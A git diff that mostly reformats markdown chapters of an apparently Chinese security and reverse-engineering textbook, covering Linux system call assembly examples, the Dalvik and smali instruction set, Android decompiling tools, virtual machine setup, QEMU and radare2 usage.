exit(0) = ? +++ exited with 0 +++ ``` + 可以看到程序将调用号保存到 `eax`,并通过 `int $0x80` 来使用系统调用。 虽然软中断 `int 0x80` 非常经典,早期 2.6 及以前版本的内核都使用这种机制进行系统调用。但因其性能较差,在往后的内核中使用了快速系统调用指令来替代,32 位系统使用 `sysenter`(对应`sysexit`) 指令,而 64 位系统使用 `syscall`(对应`sysret`) 指令。 一个使用 sysenter 的例子: -``` + +```text .data msg: @@ -138,7 +162,7 @@ _start: movl %esp, %ebp sysenter -sysenter_ret: +sysenter_ret: movl $0, %ebx movl $1, %eax # Setting the stack for the systenter @@ -149,10 +173,11 @@ sysenter_ret: movl %esp, %ebp sysenter ``` -``` -$ gcc -m32 -c sysenter.S + +```text +$ gcc -m32 -c sysenter.S $ ld -m elf_i386 -o sysenter sysenter.o -$ strace ./sysenter +$ strace ./sysenter execve("./sysenter", ["./sysenter"], 0x7fff73993fd0 /* 69 vars */) = 0 strace: [ Process PID=7663 runs in 32 bit mode. ] write(1, "Hello sysenter!\n", 16Hello sysenter! @@ -160,29 +185,33 @@ write(1, "Hello sysenter!\n", 16Hello sysenter! exit(0) = ? +++ exited with 0 +++ ``` + 可以看到,为了使用 sysenter 指令,需要为其手动布置栈。这是因为在 sysenter 返回时,会执行 `__kernel_vsyscall` 的后半部分(从0xf7fd5059开始): -``` + +```text gdb-peda$ vmmap vdso Start End Perm Name 0xf7fd4000 0xf7fd6000 r-xp [vdso] -gdb-peda$ disassemble __kernel_vsyscall +gdb-peda$ disassemble __kernel_vsyscall Dump of assembler code for function __kernel_vsyscall: 0xf7fd5050 <+0>: push ecx 0xf7fd5051 <+1>: push edx 0xf7fd5052 <+2>: push ebp 0xf7fd5053 <+3>: mov ebp,esp - 0xf7fd5055 <+5>: sysenter + 0xf7fd5055 <+5>: sysenter 0xf7fd5057 <+7>: int 0x80 0xf7fd5059 <+9>: pop ebp 0xf7fd505a <+10>: pop edx 0xf7fd505b <+11>: pop ecx - 0xf7fd505c <+12>: ret + 0xf7fd505c <+12>: ret End of assembler dump. ``` + `__kernel_vsyscall` 封装了 sysenter 调用的规范,是 vDSO 的一部分,而 vDSO 允许程序在用户层中执行内核代码。关于 vDSO 的内容我们将在后面的章节中细讲。 下面是一个 64 位使用 `syscall` 的例子: -``` + +```text .data msg: @@ -203,11 +232,13 @@ _start: movq $60, %rax syscall ``` + 编译执行(不能编译成32位程序): -``` -$ gcc -c hello64.S -$ ld -o hello64 hello64.o -$ strace ./hello64 + +```text +$ gcc -c hello64.S +$ ld -o hello64 hello64.o +$ strace ./hello64 execve("./hello64", ["./hello64"], 0x7ffe11485290 /* 68 vars */) = 0 write(1, "Hello 64-bit!\n", 14Hello 64-bit! ) = 14 @@ -216,11 +247,12 @@ exit(0) = ? ``` 在这两个例子中我们直接使用了 `execve`、`write` 和 `exit` 三个系统调用。但一般情况下,应用程序通过在用户空间实现的应用编程接口(API)而不是直接通过系统调用来编程。例如函数 `printf()` 的调用过程是这样的: -``` + +```text 调用printf() ==> C库中的printf() ==> C库中的write() ==> write()系统调用 ``` - ## 参考资料 + - [The Linux Kernel documentation](https://www.kernel.org/doc/html/latest/) - [linux-insides](https://legacy.gitbook.com/book/0xax/linux-insides/details) diff --git a/doc/1.5_reverse_basic.md b/doc/1.5_reverse_basic.md index bfc3ddb..7d68932 100644 --- a/doc/1.5_reverse_basic.md +++ b/doc/1.5_reverse_basic.md @@ -1,13 +1,13 @@ # 1.5 逆向工程基础 -- [1.5.1 C/C++ 语言基础](1.5.1_c_basic.md) -- [1.5.2 x86/x64 汇编基础](1.5.2_x86_x64.md) -- [1.5.3 Linux ELF](1.5.3_elf.md) -- [1.5.4 Windows PE](1.5.4_pe.md) -- [1.5.5 静态链接](1.5.5_static_link.md) -- [1.5.6 动态链接](1.5.6_dynamic_link.md) -- [1.5.7 内存管理](1.5.7_memory.md) -- [1.5.8 glibc malloc](1.5.8_glibc_malloc.md) +* [1.5.1 C/C++ 语言基础](1.5.1_c_basic.md) +* [1.5.2 x86/x64 汇编基础](1.5.2_x86_x64.md) +* [1.5.3 Linux ELF](1.5.3_elf.md) +* [1.5.4 Windows PE](1.5.4_pe.md) +* [1.5.5 静态链接](1.5.5_static_link.md) +* [1.5.6 动态链接](1.5.6_dynamic_link.md) +* [1.5.7 内存管理](1.5.7_memory.md) +* [1.5.8 glibc malloc](1.5.8_glibc_malloc.md) * [1.5.9 Linux 内核](1.5.9_linux_kernel.md) * [1.5.10 Windows 内核](1.5.10_windows_kernel.md) * [1.5.11 jemalloc](1.5.11_jemalloc.md) diff --git a/doc/1.7.2_dalvik.md b/doc/1.7.2_dalvik.md index e392081..f8935a2 100644 --- a/doc/1.7.2_dalvik.md +++ b/doc/1.7.2_dalvik.md @@ -25,36 +25,41 @@ - [try-catch 语句](#trycatch-语句) - [更多资料](#更多资料) - ## Dalvik 虚拟机 + Android 程序运行在 Dalvik 虚拟机中,它与传统的 Java 虚拟机不同,完全基于寄存器架构,数据通过直接通过寄存器传递,大大提高了效率。Dalvik 虚拟机属于 Android 运行时环境,它与一些核心库共同承担 Android 应用程序的运行工作。Dalvik 虚拟机有自己的指令集,即 smali 代码,下面会详细介绍它们。 - ## Dalvik 指令集 -#### 指令格式 + +### 指令格式 + Dalvik 指令语法由指令的**位描述**与指令**格式标识**来决定。 位描述约定如下: + - 每 16 位使用空格分隔。 - 每个字母占 4 位,按照顺序从高字节到低字节排列。 - 顺序采用 A~Z 的单个大写字母作为一个 4 位的操作码,op 表示一个 8 位的操作码。 - ”∅“来表示这字段所有位为0值。 指令格式约定如下: + - 指令格式标识大多由三个字符组成,前两个是数字,最后一个是字母。 - 第一个数字表示指令有多少个 16 位的字组成。 - 第二个数字表示指令最多使用寄存器的个数。 - 第三个字母为类型码,表示指令用到的额外数据的类型。 -#### 寄存器 +### 寄存器 + Dalvik 寄存器都是 32 位的,如果是 64 位的数据,则使用相邻的两个寄存器来表示。 寄存器有两种命名法:v 命名法和 p 命名法。如果一个函数使用到 M 个寄存器,其中有 N 个参数,那么参数会使用最后的 N 个寄存器,而局部变量使用从 v0 开始的前 M-N 个寄存器。在 v 命名法中,不管寄存器中是参数还是局部变量,都以 v 开头。而 p 命名法中,参数命名从 p0 开始,依次递增,在代码比较复杂的时候,使用 p 命名法可以清楚地区分开参数和局部变量,大多数工具使用的也是 p 命名法。 -#### 类型、方法和字段 +### 类型、方法和字段 + Dalvik 字节码只有基本类型和引用类型两种。除了对象类型和数组类型是引用类型外,其余的都是基本类型: -|语法 | 含义 | +| 语法 | 含义 | | --- | --- | | V | void | | Z | boolean | @@ -72,11 +77,14 @@ Dalvik 字节码只有基本类型和引用类型两种。除了对象类型和 - 数组类型格式是 `[` 加上类型,如 `int[]` 表示为 `[I`,`int[][]` 表示为 `[[I`。 Dalvik 使用方法名、类型参数和返回值来描述一个方法。方法格式如下: -``` + +```test Lpackage/name/ObjectName;->MethodName(III)Z ``` + 例如把下面的 Java 代码转换成 smali: -``` + +```text # Java String method(int, int [][], int, String, Object[]) @@ -86,15 +94,19 @@ String method(int, int [][], int, String, Object[]) ``` 字段格式如下: -``` + +```text Lpackage/name/ObjectName;->FieldName:Ljava/lang/String; ``` -#### 空操作指令 +### 空操作指令 + 空操作指令的助记符为 `nop`,值为 00,通常用于对齐代码。 -#### 数据操作指令 +### 数据操作指令 + 数据操作指令为 `move`,原型为 `move destination, source`。 + - `move vA, vB`:vB -> vA,都是 4 位 - `move/from16 vAA, vBBBB`:vBBBB -> vAA,源寄存器 16 位,目的寄存器 8 位 - `move/16 vAAAA, vBBBB`:vBBBB -> vAAAA,都是 16 位 @@ -108,15 +120,19 @@ Lpackage/name/ObjectName;->FieldName:Ljava/lang/String; - `move-result-object vAA`:将上一个 invoke 类型指令操作的对象结果赋值给 vAA 寄存器 - `move-exception vAA`:保存一个运行时发生的异常到 vAA 寄存器 -#### 返回指令 +### 返回指令 + 基础字节码为 `return`。 + - `return-void`:从一个 void 方法返回 - `return vAA`:返回一个 32 位非对象类型的值,返回值寄存器位 8 位的寄存器 vAA - `return-wide vAA`:返回一个 64 位非对象类型的值,返回值寄存器为 8 位的 vAA - `return-object vAA`:返回一个对象类型的值,返回值寄存器为 8 位的 vAA -#### 数据定义指令 +### 数据定义指令 + 基础字节码为 `const`。 + - `const/4 vA, #+B`:将数值符号扩展为 32 位后赋值给寄存器 vA - `const/16 vAA, #+BBBB`:将数值符号扩展为 32 位后赋值给寄存器 vAA - `const vAA, #+BBBBBBBB`:将数值赋值给寄存器 vAA @@ -130,20 +146,24 @@ Lpackage/name/ObjectName;->FieldName:Ljava/lang/String; - `const-class vAA, type@BBBB`:通过类型索引获取一个类型引用并赋值给寄存器 vAA - `const-class/jumbo vAAAA, type@BBBBBBBB`:通过给定的类型索引获取一个类引用并赋值给寄存器 vAAAA。这条指令占用两个字节,值为 0x00ff -#### 锁指令 +### 锁指令 + 用在多线程程序中对同一对象操作。 + - `monitor-enter vAA`:为指定的对象获取锁 - `monitor-exit vAA`:释放指定的对象的锁 -#### 实例操作指令 +### 实例操作指令 + - `check-cast vAA, type@BBBB` - `check-cast/jumbo vAAAA, type@BBBBBBBB`:将 vAA 寄存器中的对象引用转换成指定的类型,如果失败会抛出 ClassCastException 异常。如果类型 B 指定的是基本类型,对于非基本类型的 A 来说,运行始终会失败 - `instance-of vA, vB, type@CCCC` - `instance-of vAAAA, vBBBB, type@CCCCCCCC`:判断 vB 寄存器中的对象引用是否可以转换成指定的类型,如果可以 vA 寄存器赋值为 1,否则 vA 寄存器赋值为 0 - `new-instance vAA, type@BBBB` -- `new-instance vAAAA, type@BBBBBBBB `:构造一个指定类型对象的新实例,并将对象引用赋值给 vAA 寄存器,类型符 type 指定的类型不能是数组类 +- `new-instance vAAAA, type@BBBBBBBB`:构造一个指定类型对象的新实例,并将对象引用赋值给 vAA 寄存器,类型符 type 指定的类型不能是数组类 + +### 数组操作指令 -#### 数组操作指令 - `array-length vA, vB`:获取vB寄存器中数组的长度并将值赋给vA寄存器。 - `new-array vA, vB, type@CCCC` - `new-array/jumbo vAAAA, vBBBB, type@CCCCCCCC`:构造指定类型(type@CCCCCCCC)与大小(vBBBB)的数组,并将值赋给 vAAAA 寄存器 @@ -152,11 +172,14 @@ Lpackage/name/ObjectName;->FieldName:Ljava/lang/String; - `fill-array-data vAA, +BBBBBBBB`:用指定的数据来填充数组,vAA 寄存器为数组引用,引用必须为基础类型的数组,在指令后面紧跟一个数据表。 - `arrayop vAA, vBB, vCC`:对 vBB 寄存器指定的数组元素进行取值和赋值。vCC 寄存器指定数组元素索引,vAA 寄存器用来存放读取的或需要设置的数组元素的值。读取元素使用 aget 类指令,元素赋值使用 aput 类指令。 -#### 异常指令 +### 异常指令 + - `throw vAA`:抛出 vAA 寄存器中指定类型的异常 -#### 跳转指令 +### 跳转指令 + 有三种跳转指令:无条件跳转(goto)、分支跳转(switch)和条件跳转(if)。 + - `goto +AA` - `goto/16 +AAAA` - `goto/32 +AAAAAAAA`:无条件跳转到指定偏移处,不能为 0 @@ -177,23 +200,28 @@ Lpackage/name/ObjectName;->FieldName:Ljava/lang/String; - `if-gtz`:if(vAA>0) - `if-lez`:if(vAA<=0) -#### 比较指令 +### 比较指令 + 对两个寄存器的值进行比较,格式为 cmpkind vAA, vBB, vCC,其中 vBB 和 vCC 寄存器是需要比较的两个寄存器或两个寄存器对,比较的结果放到 vAA 寄存器。指令集中共有5条比较指令: + - `cmpl-float` - `cmpl-double`:如果 vBB 寄存器大于 vCC 寄存器,结果为 -1,相等结果为 0,小于结果为 1 - `cmpg-float` - `cmpg-double`:如果 vBB 寄存器大于 vCC 寄存器,结果为 1,相等结果为 0,小于结果为 -1 - `cmp-long`:如果 vBB 寄存器大于 vCC 寄存器,结果为 1,相等结果为 0,小于结果为 -1 -#### 字段操作指令 +### 字段操作指令 + 用于对对象实例的字段进行读写操作。对普通字段与静态字段操作有两种指令集,分别是 `iinstanceop vA, vB, field@CCCC` 与 `sstaticop vAA, field@BBBB`。扩展为 `iinstanceop/jumbo vAAAA, vBBBB, field@CCCCCCC` 与 `sstaticop/jumbo vAAAA, field@BBBBBBBB`。 普通字段指令的指令前缀为 `i`,静态字段的指令前缀为 `s`。字段操作指令后紧跟字段类型的后缀。 -#### 方法调用指令 +### 方法调用指令 + 用于调用类实例的方法,基础指令为 `invoke`,有 `invoke-kind {vC, vD, vE, vF, vG}, meth@BBBB` 和 `invoke-kind/range {vCCCC .. vNNNN}, meth@BBBB` 两类。扩展为 `invoke-kind/jumbo {vCCCC .. vNNNN}, meth@BBBBBBBB` 这类指令。 根据方法类型的不同,共有如下五条方法调用指令: + - `invoke-virtual` 或 `invoke-virtual/range`:调用实例的虚方法 - `invoke-super` 或 `invoke-super/range`:调用实例的父类方法 - `invoke-direct` 或 `invoke-direct/range`:调用实例的直接方法 @@ -201,13 +229,16 @@ Lpackage/name/ObjectName;->FieldName:Ljava/lang/String; - `invoke-interface` 或 `invoke-interface/range`:调用实例的接口方法 方法调用的返回值必须使用 `move-result*` 指令来获取,如: -``` + +```text invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; move-result-object v0 ``` -#### 数据转换指令 +### 数据转换指令 + 格式为 `unop vA, vB`,vB 寄存器或vB寄存器对存放需要转换的数据,转换后结果保存在 vA 寄存器或 vA寄存器对中。 + - 求补 - `neg-int` - `neg-long` @@ -237,16 +268,19 @@ move-result-object v0 - `int-to-char` - `int-to-short` -#### 数据运算指令 +### 数据运算指令 + 包括算术运算符与逻辑运算指令。 数据运算指令有如下四类: + - `binop vAA, vBB, vCC`:将 vBB 寄存器与 vCC 寄存器进行运算,结果保存到 vAA 寄存器。以下类似 - `binop/2addr vA, vB` - `binop/lit16 vA, vB, #+CCCC` - `binop/lit8 vAA, vBB, #+CC` 第一类指令可归类为: + - `add-type`:vBB + vCC - `sub-type`:vBB - vCC - `mul-type`:vBB * vCC @@ -259,17 +293,19 @@ move-result-object v0 - `shr-type`:vBB >> vCC - `ushr-type`:(无符号数)vBB >> vCC - ## smali 语法 + 类声明: -``` + +```text .class <访问权限> [修饰关键字] <类名> .super <父类名> .source <源文件名> ``` 字段声明: -``` + +```text # static fields .field <访问权限> static [修饰关键字] <字段名>:<字段类型> @@ -278,7 +314,8 @@ move-result-object v0 ``` 方法声明: -``` + +```text # direct methods .method <访问权限> [修饰关键字] <方法原型> [.locals] @@ -297,24 +334,28 @@ move-result-object v0 <代码体> .end method ``` + 需要注意的是,在一些老教程中,会看到 `.parameter`,表示使用的寄存器个数,但在最新的语法中已经不存在了,取而代之的是 `.param`,表示方法参数。 接口声明: -``` + +```text # interfaces .implements <接口名> ``` 注释声明: -``` + +```text # annotations .annotation [注释属性] <注释类名> [注释字段 = 值] .end annotation ``` -#### 循环语句 -``` +### 循环语句 + +```text # for Iterator<对象> <对象名> = <方法返回一个对象列表>; for(<对象> <对象名>:<对象列表>){ @@ -328,8 +369,10 @@ while(<迭代器>.hasNext()){ [处理单个对象的代码体] } ``` + 比如下面的 Java 代码: -```Java + +```java public void encrypt(String str) { String ans = ""; for (int i = 0 ; i < str.length(); i++){ @@ -338,17 +381,19 @@ public void encrypt(String str) { Log.e("ans:", ans); } ``` + 对应下面的 smali: -``` + +```text # public void encrypt(String str) { -.method public encrypt(Ljava/lang/String;)V -.locals 4 +.method public encrypt(Ljava/lang/String;)V +.locals 4 .parameter p1, "str" # Ljava/lang/String; -.prologue +.prologue # String ans = ""; -const-string v0, "" -.local v0, "ans":Ljava/lang/String; +const-string v0, "" +.local v0, "ans":Ljava/lang/String; # for (int i 0 ; i < str.length(); i++){ # int i=0 =>v1 @@ -358,25 +403,25 @@ const/4 v1, 0x0 # str.length()=>v2 invoke-virtual {p1}, Ljava/lang/String;->length()I -move-result v2 +move-result v2 -# i v2 -new-instance v2, Ljava/lang/StringBuilder; +new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;->()V invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; -move-result-object v2 +move-result-object v2 #str.charAt(i) => v3 -invoke-virtual {p1, v1}, Ljava/lang/String;->charAt(I)C +invoke-virtual {p1, v1}, Ljava/lang/String;->charAt(I)C move-result v3 # ans += v3 =>v0 -invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder; -move-result-object v2 +invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder; +move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 @@ -386,14 +431,15 @@ goto :goto_0 # Log.e("ans:", ans); :cond_0 -const-string v2, "ans:" +const-string v2, "ans:" invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I -return-void +return-void .end method ``` -#### switch 语句 -```Java +### switch 语句 + +```java public void encrypt(int flag) { String ans = null; switch (flag){ @@ -407,10 +453,12 @@ public void encrypt(int flag) { Log.v("ans:", ans); } ``` + 对应下面的 smali: -``` + +```text # public void encrypt(int flag) { -.method public encrypt(I)V +.method public encrypt(I)V .locals 2 .param p1, "flag" # I .prologue @@ -442,8 +490,10 @@ public void encrypt(int flag) { .end packed-switch .end method ``` + 根据 switch 语句的不同,case 也有两种方式: -``` + +```text # packed-switch packed-switch p1, :pswitch_data_0 ... @@ -461,8 +511,9 @@ sswitch_data_0 0xb -> : sswitch_1 # 字符会转化成数组 ``` -#### try-catch 语句 -```Java +### try-catch 语句 + +```java public void encrypt(int flag) { String ans = null; try { @@ -473,8 +524,10 @@ public void encrypt(int flag) { Log.d("error", ans); } ``` + 对应的下面的 smali: -``` + +```text # public void encrypt(int flag) { .method public encrypt(I)V .locals 3 @@ -508,8 +561,8 @@ public void encrypt(int flag) { .end method ``` - ## 更多资料 + - 《Android软件安全与逆向分析》 - [Dalvik opcodes](http://www.blogjava.net/midea0978/archive/2012/01/04/367847.html) - [android逆向分析之smali语法](http://lib.csdn.net/article/android/7043) diff --git a/doc/1.7.4_android_tools.md b/doc/1.7.4_android_tools.md index c408461..0410113 100644 --- a/doc/1.7.4_android_tools.md +++ b/doc/1.7.4_android_tools.md @@ -2,103 +2,129 @@ 这里先介绍一些好用的小工具,后面会介绍大杀器 JEB、IDA Pro 和 Radare2。 -#### smali/baksmali -地址:https://github.com/JesusFreke/smali +## 常用工具 + +### smali/baksmali + +地址: smali/baksmali 分别用于汇编和反汇编 dex 格式文件。 使用方法: -``` + +```text $ smali assemble app -o classes.dex $ baksmali disassemble app.apk -o app ``` + 当然你也可以汇编和反汇编单个的文件,如汇编单个 smali 文件,反汇编单个 classes.dex 等,使用命令 `baksmali help input` 查看更多信息。 baksmali 还支持查看 dex/apk/oat 文件里的信息: -``` + +```text $ baksmali list classes app.apk $ baksmali list methods app.apk | wc -l ``` -#### Apktool -地址:https://github.com/iBotPeaches/Apktool +### Apktool + +地址: Apktool 可以将资源文件解码为几乎原始的形式,并在进行一些修改后重新构建它们,甚至可以一步一步地对局部代码进行调试。 - 解码: - ``` + + ```text $ apktool d app.apk -o app ``` + - 重打包: - ``` + + ```text $ apktool b app -o app.apk ``` -#### dex2jar -地址:https://github.com/pxb1988/dex2jar +### dex2jar + +地址: dex2jar 可以实现 dex 和 jar 文件的互相转换,同时兼有 smali/baksmali 的功能。 使用方法: -``` + +```text $ ./d2j-jar2dex.sh classes.dex -o app.jar $ ./d2j-jar2dex.sh app.jar -o classes.dex ``` -#### enjarify -地址:https://github.com/Storyyeller/enjarify +### enjarify + +地址: enjarify 与 dex2jar 差不多,它可以将 Dalvik 字节码转换成相对应的 Java 字节码。 使用方法: -``` + +```text $ python3 -O -m enjarify.main app.apk ``` -#### JD-GUI -地址:https://github.com/java-decompiler/jd-gui +### JD-GUI + +地址: JD-GUI 是一个图形界面工具,可以直接导入 .class 文件,然后查看反编译后的 Java 代码。 -#### CTF -地址:http://www.benf.org/other/cfr/ +### CTF + +地址: 一个 Java 反编译器。 -#### Krakatau -地址:https://github.com/Storyyeller/Krakatau +### Krakatau + +地址: 用于 Java 反编译、汇编和反汇编。 - 反编译 - ``` + + ```text $ python2 Krakatau\decompile.py [-nauto] [-path PATH] [-out OUT] [-r] [-skip] target ``` + - 汇编 - ``` + + ```text $ python2 Krakatau\assemble.py [-out OUT] [-r] [-q] target ``` + - 反汇编 - ``` + + ```text $ python2 Krakatau\disassemble.py [-out OUT] [-r] [-roundtrip] target ``` -#### Simplify -地址:https://github.com/CalebFenton/simplify +### Simplify + +地址: 通过执行一个 app 来解读其行为,然后尝试优化代码,使人更容易理解。 -#### Androguard -地址:https://github.com/androguard/androguard +### Androguard + +地址: Androguard 是使用 Python 编写的一系列工具,常用于逆向工程、病毒分析等。 输入 `androlyze.py -s` 可以打开一个 IPython shell,然后就可以在该 shell 里进行所有操作了。 + ```python a, d, dx = AnalyzeAPK("app.apk") ``` + - `a` 表示一个 `APK` 对象 - 关于 APK 的所有信息,如包名、权限、AndroidManifest.xml和资源文件等。 - `d` 表示一个 `DalvikVMFormat` 对象 @@ -107,6 +133,7 @@ a, d, dx = AnalyzeAPK("app.apk") - 包含一些特殊的类,classes.dex 的所有信息。 Androguard 还有一些命令行工具: + - androarsc:解析资源文件 - androauto:自动分析 - androaxml:解析xml文件 diff --git a/doc/1.7_android_basic.md b/doc/1.7_android_basic.md index 9023fdd..7abae2a 100644 --- a/doc/1.7_android_basic.md +++ b/doc/1.7_android_basic.md @@ -1,6 +1,6 @@ # 1.7 Android 安全基础 -- [1.7.1 Android 环境搭建](1.7.1_android_env.md) -- [1.7.2 Dalvik 指令集](1.7.2_dalvik.md) -- [1.7.3 ARM 汇编基础](1.7.3_arm.md) -- [1.7.4 Android 常用工具](1.7.4_android_tools.md) +* [1.7.1 Android 环境搭建](1.7.1_android_env.md) +* [1.7.2 Dalvik 指令集](1.7.2_dalvik.md) +* [1.7.3 ARM 汇编基础](1.7.3_arm.md) +* [1.7.4 Android 常用工具](1.7.4_android_tools.md) diff --git a/doc/2.1.1_virtualbox.md b/doc/2.1.1_virtualbox.md index 3a30e42..84a9974 100644 --- a/doc/2.1.1_virtualbox.md +++ b/doc/2.1.1_virtualbox.md @@ -7,33 +7,38 @@ - [Linux 虚拟机](#linux-虚拟机) - [工具安装脚本](#工具安装脚本) - ## 虚拟化环境 + 虚拟化是资源的抽象化,是单一物理资源的多个逻辑表示,具有兼容性、隔离的优良特性。 在恶意代码和漏洞分析过程中常常需要使用虚拟化技术来进行辅助,这不仅可以保护真实的物理设备环境不被恶意代码攻击,还能够固化保存分析环境以提高工作效率,同时还能够在不影响程序执行流的情况下动态捕获程序内存、CPU 等关键数据。 虚拟化技术根据实现技术的不同可以分为: + - 软件虚拟化:用纯软件的方法在现有平台上实现对物理资源访问的截获和模拟。如 QEMU。 - 硬件虚拟化:由硬件平台对特殊指令进行截获和重定向,交由虚拟机监控器(VMM)进行处理,这需要 CPU、主板、BIOS 和软件的支持。如 VMWare、VirtualBox。 虚拟化技术根据是否改动操作系统又可以分为: + - 半虚拟化:通过修改开源操作系统,将虚拟机特殊指令的被动截获请求转化成客户机操作系统的主动通知以提高性能。如 Xen。 - 全虚拟化:不需要对操作系统进行改动,提供了完整的包括处理器、内存和外设的虚拟化平台。如 VMWare、VirtualBox、 - ## 硬件虚拟化环境 + 用硬件虚拟机的话比较简单,可以自己下载安装。下面是我个人的一些环境配置。 -- VirtualBox(https://www.virtualbox.org/) -- VMware Workstation/Player(https://www.vmware.com/) +- VirtualBox( +- VMware Workstation/Player( + +### 物理机 Manjaro 17.02 + +Manjaro 17.02 x86-64( with BlackArch tools. -#### 物理机 Manjaro 17.02 -Manjaro 17.02 x86-64(https://manjaro.org/) with BlackArch tools. ```text $ uname -a Linux firmy-pc 4.9.43-1-MANJARO #1 SMP PREEMPT Sun Aug 13 20:28:47 UTC 2017 x86_64 GNU/Linux ``` + ```text yaourt -Rscn: @@ -48,7 +53,8 @@ pip3/pip2 install: r2pipe ``` -#### Windows 虚拟机 +### Windows 虚拟机 + - 32-bit - Windows XP - Windows 7 @@ -61,10 +67,11 @@ r2pipe ``` - Windows 10 -下载地址:http://www.itellyou.cn/ +下载地址: -#### Linux 虚拟机 -- 32-bit/64-bit Ubuntu LTS - https://www.ubuntu.com/download +### Linux 虚拟机 + +- 32-bit/64-bit Ubuntu LTS - - 14.04 - 16.04 ```text @@ -90,10 +97,11 @@ r2pipe oh my zsh peda ``` -- Kali Linux - https://www.kali.org/ -- BlackArch - https://blackarch.org/ -- REMnux - https://remnux.org +- Kali Linux - +- BlackArch - +- REMnux - -#### 工具安装脚本 -- ctf-tools - https://github.com/zardus/ctf-tools +### 工具安装脚本 + +- ctf-tools - - [pwn_env](../src/others/2.1.1_vm/pwn_env.sh) diff --git a/doc/2.1.2_qemu.md b/doc/2.1.2_qemu.md index d3c0b97..63d7e40 100644 --- a/doc/2.1.2_qemu.md +++ b/doc/2.1.2_qemu.md @@ -4,18 +4,20 @@ - [安装](#安装) - [参考资料](#参考资料) - ## 简介 + QEMU 是一个广泛使用的开源计算机仿真器和虚拟机。当作为仿真器时,可以在一种架构(如PC机)下运行另一种架构(如ARM)下的操作系统和程序,当作为虚拟机时,可以使用 Xen 或 KVM 访问 CPU 的扩展功能(HVM),在主机 CPU 上直接执行虚拟客户端的代码。 - ## 安装 -``` + +```text Arch: $ pacman -S qemu Debian/Ubuntu: $ apt-get install qemu ``` + 当然如果你偏爱源码编译安装的话: -``` + +```text $ git clone git://git.qemu.org/qemu.git $ cd qemu $ git submodule init @@ -24,6 +26,6 @@ $ ./configure $ make ``` - ## 参考资料 + - [QEMU](https://www.qemu.org/) diff --git a/doc/2.1.4_unicorn.md b/doc/2.1.4_unicorn.md index b4da03d..0d95148 100644 --- a/doc/2.1.4_unicorn.md +++ b/doc/2.1.4_unicorn.md @@ -2,7 +2,7 @@ - [参考资料](#参考资料) - ## 参考资料 -- http://www.unicorn-engine.org/ + +- - [Unicorn: Next Generation CPU Emulator Framework](http://www.unicorn-engine.org/BHUSA2015-unicorn.pdf) diff --git a/doc/2.2.1_radare2.md b/doc/2.2.1_radare2.md index 512d66c..b04ba61 100644 --- a/doc/2.2.1_radare2.md +++ b/doc/2.2.1_radare2.md @@ -26,35 +26,37 @@ - [在 CTF 中的运用](#在-ctf-中的运用) - [更多资源](#更多资源) - ## 简介 + IDA Pro 昂贵的价格令很多二进制爱好者望而却步,于是在开源世界中催生出了一个新的逆向工程框架——Radare2,它拥有非常强大的功能,包括反汇编、调试、打补丁、虚拟化等等,而且可以运行在几乎所有的主流平台上(GNU/Linux、Windows、BSD、iOS、OSX……)。Radare2 开发之初仅提供了基于命令行的操作,尽管现在也有非官方的GUI,但我更喜欢直接在终端上运行它,当然这也就意味着更高陡峭的学习曲线。Radare2 是由一系列的组件构成的,这些组件赋予了 Radare2 强大的分析能力,可以在 Radare2 中或者单独被使用。 这里是 Radare2 与其他二进制分析工具的对比。([Comparison Table](http://rada.re/r/cmp.html)) - ## 安装 -#### 安装 + ```bash $ git clone https://github.com/radare/radare2.git $ cd radare2 $ ./sys/install.sh ``` -#### 更新 +### 更新 + ```bash $ ./sys/install.sh ``` -#### 卸载 +### 卸载 + ```bash $ make uninstall $ make purge ``` - ## 命令行使用方法 + Radare2 在命令行下有一些小工具可供使用: + - radare2:十六进制编辑器和调试器的核心,通常通过它进入交互式界面。 - rabin2:从可执行二进制文件中提取信息。 - rasm2:汇编和反汇编。 @@ -65,7 +67,8 @@ Radare2 在命令行下有一些小工具可供使用: - rarun2:用于在不同环境中运行程序。 - rax2:数据格式转换。 -#### radare2/r2 +### radare2/r2 + ```text $ r2 -h Usage: r2 [-ACdfLMnNqStuvwzX] [-P patch] [-p prj] [-a arch] [-b bits] [-i file] @@ -111,14 +114,17 @@ Usage: r2 [-ACdfLMnNqStuvwzX] [-P patch] [-p prj] [-a arch] [-b bits] [-i file] -X [rr2rule] specify custom rarun2 directive -z, -zz do not load strings or load them even in raw ``` + 参数很多,这里最重要是 `file`。如果你想 attach 到一个进程上,则使用 `pid`。常用参数如下: + - `-A`:相当于在交互界面输入了 `aaa`。 - `-c`:运行 radare 命令。(`r2 -A -q -c 'iI~pic' file`) - `-d`:调试二进制文件或进程。 - `-a`,`-b`,`-o`:分别指定体系结构、位数和操作系统,通常是自动的,但也可以手动指定。 - `-w`:使用可写模式打开。 -#### rabin2 +### rabin2 + ```text $ rabin2 -h Usage: rabin2 [-AcdeEghHiIjlLMqrRsSvVxzZ] [-@ at] [-a arch] [-b bits] [-B addr] @@ -178,6 +184,7 @@ Usage: rabin2 [-AcdeEghHiIjlLMqrRsSvVxzZ] [-@ at] [-a arch] [-b bits] [-B addr] 当我们拿到一个二进制文件时,第一步就是获取关于它的基本信息,这时候就可以使用 rabin2。rabin2 可以获取包括 ELF、PE、Mach-O、Java CLASS 文件的区段、头信息、导入导出表、数据段字符串、入口点等信息,并且支持多种格式的输出。 下面介绍一些常见的用法:(我还会列出其他实现类似功能工具的用法,你可以对比一下它们的输出) + - `-I`:最常用的参数,它可以打印出二进制文件信息,其中我们需要重点关注其使用的安全防护技术,如 canary、pic、nx 等。(`file`、`chekcsec -f`) - `-e`:得到二进制文件的入口点。(`readelf -h`) - `-i`:获得导入符号表,RLT中的偏移等。(`readelf -r`) @@ -190,7 +197,8 @@ Usage: rabin2 [-AcdeEghHiIjlLMqrRsSvVxzZ] [-@ at] [-a arch] [-b bits] [-B addr] 最后还要提到的一个参数 `-r`,它可以将我们得到的信息以 radare2 可读的形式输出,在后续的分析中可以将这样格式的信息输入 radare2,这是非常有用的。 -#### rasm2 +### rasm2 + 